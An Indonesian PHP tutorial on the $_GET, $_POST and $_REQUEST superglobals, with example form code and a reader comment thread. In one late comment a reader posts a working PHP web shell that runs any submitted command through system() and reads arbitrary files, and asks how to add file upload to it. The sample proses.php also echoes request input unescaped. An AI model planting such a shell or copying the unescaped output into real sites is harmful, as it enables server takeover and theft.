Dalam tutorial tentang Cara Menampilkan Hasil Form HTML dengan PHP, kita telah membahas sekilas tentang variabel $_GET dan $_POST yang digunakan untuk menampilkan hasil Form HTML, serta perbedaan metoda pengiriman GET dan POST. Dalam tutorial kali ini kita akan membahas lebih dalam tentang pengertian variabel superglobal $_GET, $_POST dan juga $_REQUEST yang digunakan untuk memproses Form dalam PHP.
Pengertian Variabel SuperGlobal dalam PHP
Variabel $_GET dan $_POST (dan juga $_REQUEST) di dalam PHP termasuk ke dalam kelompok variabel yang dikenal dengan ‘Variabel SuperGlobal’.
Variabel SuperGlobals adalah variabel khusus di dalam PHP yang bisa diakses dari halaman PHP manapun tanpa perlu mendefinisikannya terlebih dahulu, dan untuk mengakses variabel ini kita juga tidak perlu menggunakan keyword global (sebagaimana variabel global pada umumnya)
Selain variabel $_GET, $_POST dan $_REQUEST, PHP masih memiliki beberapa variabel superglobal lainnya seperti $_COOKIE, $_SESSION, dan $_SERVER. Ciri khusus untuk variabel global di dalam PHP, diawali dengan tanda $_. Namun pada tutorial ini kita hanya fokus kepada variabel $_GET, $_POST dan $_REQUEST.
Variabel $_GET, $_POST dan $_REQUEST merupakan tipe data array, sehingga untuk mengakses nilainya, kita menggunakan cara akses array yakni dengan menggunakan kurung siku seperti: $_GET[‘nama’] dimana nama adalah nilai dari atribut name pada objek form yang akan diakses.
Perbedaan variabel global $_GET, $_POST dan $_REQUEST
Seperti yang telah kita praktekkan dalam tutorial Cara Menampilkan Hasil Form HTML dengan PHP, kita telah mengetahui bahwa jika form dikirim menggunaan method=get maka di dalam PHP kita mengaksesnya dengan variabel $_GET, namun jika form dibuat menggunakan method=post, kita mengaksesnya dengan variabel $_POST.
Bagaimana jika pada saat memproses form kita tidak mengetahui dengan pasti apakah form dikirim dengan GET atau POST? PHP menyediakan variabel $_REQUEST sebagai salah satu solusinya. Variabel $_REQUEST menampung nilai form yang dikirim dengan method=get, maupun method=post secara bersamaan.
Untuk mencobanya, silahkan jalankan file form.html dengan isi kode HTML sebagai berikut:
<!DOCTYPE html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Belajar Form PHP</title> </head> <body> <h2>Tutorial Belajar Form HTML - PHP </h2> <form action="proses.php" method="get"> Nama: <input type="text" name="nama" /> <br /> E-Mail: <input type="text" name="email" /> <br /> <input type="submit" value="Proses Data" > </form> </body> </html>
Halaman form.html diatas persis sama dengan yang kita gunakan pada tutorial sebelumnya, namun untuk halaman proses.php, kita akan modifikasi dengan menggunakan variabel $_REQUEST:
<?php echo $_REQUEST['nama']; echo "<br />"; echo $_REQUEST['email']; ?>
Jika anda menjalankan form.html dan men-klik tombol ‘Proses Data’, maka hasil form akan ditampilkan sebagaimana mestinya. Anda juga bisa mengubah method form menjadi post, dan variabel $_REQUEST akan tetap menampilkan hasil form.
Jadi, variabel apa yang sebaiknya digunakan? apakah $_GET, $_POST atau $_REQUEST? Jawabannya tergantung kepada desain kode program yang dirancang. Jika anda dapat memastikan bahwa form akan dikirim dengan method=get, maka gunakan variabel $_GET, jika from anda menggunakan method=post, maka gunakan $_POST, namun jika metodanya tidak dapat dipastikan, variabel superglobal $_REQUEST bisa menjadi solusi.
$_SESSION sama yang lain sudah ada penjelasannya belum ?
$_SESSION , $_COOKIE , $_SERVER penjelasannya please…
Sampai saat ini belum ada… ditunggu saja ya :)
thanks master… sangat membantu saya yang pemula…
terimakasih juga atas kunjungannya.. semoga bermanfaat :)
thx gan smoga makin ramai web nya ya dan makin banyak tutorial yg ada
kalo bisa si ada studi kasus gitu gan membuat web dr awal
steb by step nya gan biar lebih mengerti
Ditunggu saja y.. :)
gan mau tanya, saya pernah baca di tutorial lain
ada yang menggunaka @ misal :
$nama = @$_POST[‘nama’];
dan setelah saya coba hapus @ nya, malah eror.. emang fungsi @ itu sendiri apa ya…
Tanda ‘@‘ itu didalam PHP dikenal sebagai Error Control Operators gan, fungsinya untuk ‘menyembunyikan’ error.
Jadi misalnya kita ada kode program yang akan menghasilkan error tapi tidak fatal, bisa disembunyikan dengan karakter ‘@’ didepan baris yang error tersebut.
Teknik seperti ini sangat tidak disarankan, kecuali jika memang terpaksa, karena pasti ada sesuatu yang salah dengan kode kita :)
Kalau hasilnya jadi begini,mengapa sih masalahnya?
"; echo $_REQUEST['email']; ?>
Kemungkinan besar ada yang kurang/kelebihan tanda bacanya mas. Untuk memastikan bisa di copy-paste saja kode program diatas…
sama, hasilnya:
"; echo $_REQUEST['email']; ?>
form proses.php:
<?php
echo $_REQUEST['nama'];
echo "<br />";
echo $_REQUEST['email'];
?>
from proses.php:
<?php
echo $_GET['nama'];
echo "<br />";
echo $_GET['email'];
?>
Saya sudah coba ulang mas, dan mendapati hasil tersebut tampil jika halaman proses.php disimpan sebagai proses.html.
Bisa diperiksa lagi mas, kalau nama halamannya adalah form.html dan proses.php, serta di jalankan dengan XAMPP aktif :)
mas penjelasan untuk $_COOKIE, $_SESSION, dan $_SERVER belum ada kok mas. ?
Iya mas, belum sempat saya buatkan tutorialnya. Rencananya akan saya masukkan di eBook PHP Duniailkom (sedang dalam penulisan)
Untuk hal keamanan sendiri $_Request boleh dijalannkan tidak mas, ketika kita cukup memakai $_Post sudah bisa. Terima kasih.
Salam (hobi koding).
Sebaiknya tidak pakai $_REQUEST karena cukup beresiko. Kita tidak tau apakah isi variabel itu datang dari cookie atau form. Sebaiknya pakai yang 1 sumber saja, seperti $_POST atau $_GET (sesuai kebutuhan).
Bagaimana jika selalu menggunakan $_REQUEST biar nggak ribet ?
Bisa saja, tapi dari segi keamanan tidak disarankan.
Mass saya mau tanya..
Saya kn buat command line.. Truz saya coba buat opsi nih
Yaitu "about" jika di panggil mebggunakan command line maka akan menampilkan versi comnand yg saya buat.
Nah saya ingin menambahkan fituur lg nih… Fitur upload saya sudah buat script php uploadnya… Cara menyisipkan script tersebut ke dalam script command, dan agr bisa di panggil dengan line command..
Nih scriptnya mas..
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>command shell</title>
</head>
<body>
<center>
<font color="#ff0000">
<form>
<label for="cmd"></label>
<input type="text" name="cmd" placeholder="command here" />
<input type="submit" value="colok" />
</form>
</center>
</body>
</html>
<?
error_reporting(0);
$shell_cmd = $_REQUEST['cmd'];
$shell_file = $_REQUEST['file'];
if ($shell_cmd == 'about') { echo 'Command shell v.1'; }
elseif ($shell_cmd == 'readfile') { echo file_get_contents($shell_file); }
elseif ($shell_cmd == 'phpinfo') { phpinfo(); }
else { system($shell_cmd); }
?>
Kebetulan saya belum pernah coba menjalankan command line langsung dari kode HTML/PHP. Mungkin rekan2 lain ada yang bisa bantu,…